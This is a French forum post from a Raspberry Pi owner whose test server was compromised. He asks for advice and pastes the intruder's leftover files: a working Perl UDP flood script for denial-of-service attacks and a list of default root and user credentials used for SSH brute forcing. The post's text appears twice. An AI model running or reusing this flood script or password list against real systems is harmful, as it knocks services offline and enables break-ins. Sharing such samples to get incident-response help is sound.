virus ??? ScannerEnzo
Posté : sam. 12 mars 2016 11:21
Bonjour à tous,
j'ai un RPi qui tourne pour me faire un petit serveur de test.
hier, je n'avais plus accès à mon RPi avec mon user/mdp habituel, je me suis donc connecté en root ce matin.
Le contenu de mon répertoire /home/user a complètement changé. Ce qui était dedans a disparu et voici son contenu :
quand je regarde dedans :
dans mix il y a :
dans le fichier pass, il y a une liste de user/mdp usuels :
Je vous passe tous les autres fichiers... Evidemment cela ressemble à un bon petit virus qui s'est installé là tout seul, bien gentiment.
Mon RPi n'est évidemment pas sécurisé du tout, bon d'accord je sais j'ai tord , mea culpa, mais je ne voulais pas taper de mots de passe à rallonge quoi. Bref, ce n'est pas très grave si je perds tout, c'est juste un serveur pour rire.
Je vais tout virer, repartir d'une sauvegarde propre et puis mettre des vrais mots de passe. A mon avis, celui-ci ne fait pas beaucoup de mal car il n'a pas mon MDP root, que j'avais pris la peine de changer quand même...
Si vous avez des avis ou des suggestions, je suis preneur, car je n'y connais pas grand chose.
a+ !!!
j'ai un RPi qui tourne pour me faire un petit serveur de test.
hier, je n'avais plus accès à mon RPi avec mon user/mdp habituel, je me suis donc connecté en root ce matin.
Le contenu de mon répertoire /home/user a complètement changé. Ce qui était dedans a disparu et voici son contenu :
Code : Tout sélectionner
pi@raspberrypi ~ $ ls
enzo mix mix.zip ScannerEnzo
Code : Tout sélectionner
pi@raspberrypi ~ $ cat enzo
#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "* Ai gresit comanda hecare, foloseste: $0 <ip> <port> <time> *\n";
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf " |¯¯¯¯¯¯¯¯¯¯|×ღ×|¯¯¯¯¯¯¯¯¯¯|
…Enzo darama IP'u…
………IP Down [GoodBye!]………
|__________|×ღ×|__________| \n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 8, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +0;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
Code : Tout sélectionner
pi@raspberrypi ~/mix $ ls
a core fish g gb mass pass passfile pscan pscan2 s screen ssh vuln
Code : Tout sélectionner
pi@raspberrypi ~/mix $ cat pass
root:123456
root:toor
root:password
root:qwerty
root:1qaz2wsx
root:security
root:matt
root:vps
root:linode.com
root:linod3.com
test1:test1
test2:test2
test3:test3
test4:test4
test5:test5
test6:test6
test7:test7
test8:test8
test9:test9
test10:test10
test11:test11
install:install
backup:backup
root:root2013
root:root2012
root:root2011
root:toor2012
root:toor2013
root:vps2013
root:vps2012
root:install
root:remuser
root:goodbye
root:secretpass
root:letsgou
root:king
root:king123
root:1234
root:postgres
root:fedora
root:private
root:privatesystem
root:privatessh
root:insert
root:page
root:web
root:sniper
Mon RPi n'est évidemment pas sécurisé du tout, bon d'accord je sais j'ai tord , mea culpa, mais je ne voulais pas taper de mots de passe à rallonge quoi. Bref, ce n'est pas très grave si je perds tout, c'est juste un serveur pour rire.
Je vais tout virer, repartir d'une sauvegarde propre et puis mettre des vrais mots de passe. A mon avis, celui-ci ne fait pas beaucoup de mal car il n'a pas mon MDP root, que j'avais pris la peine de changer quand même...
Si vous avez des avis ou des suggestions, je suis preneur, car je n'y connais pas grand chose.
a+ !!!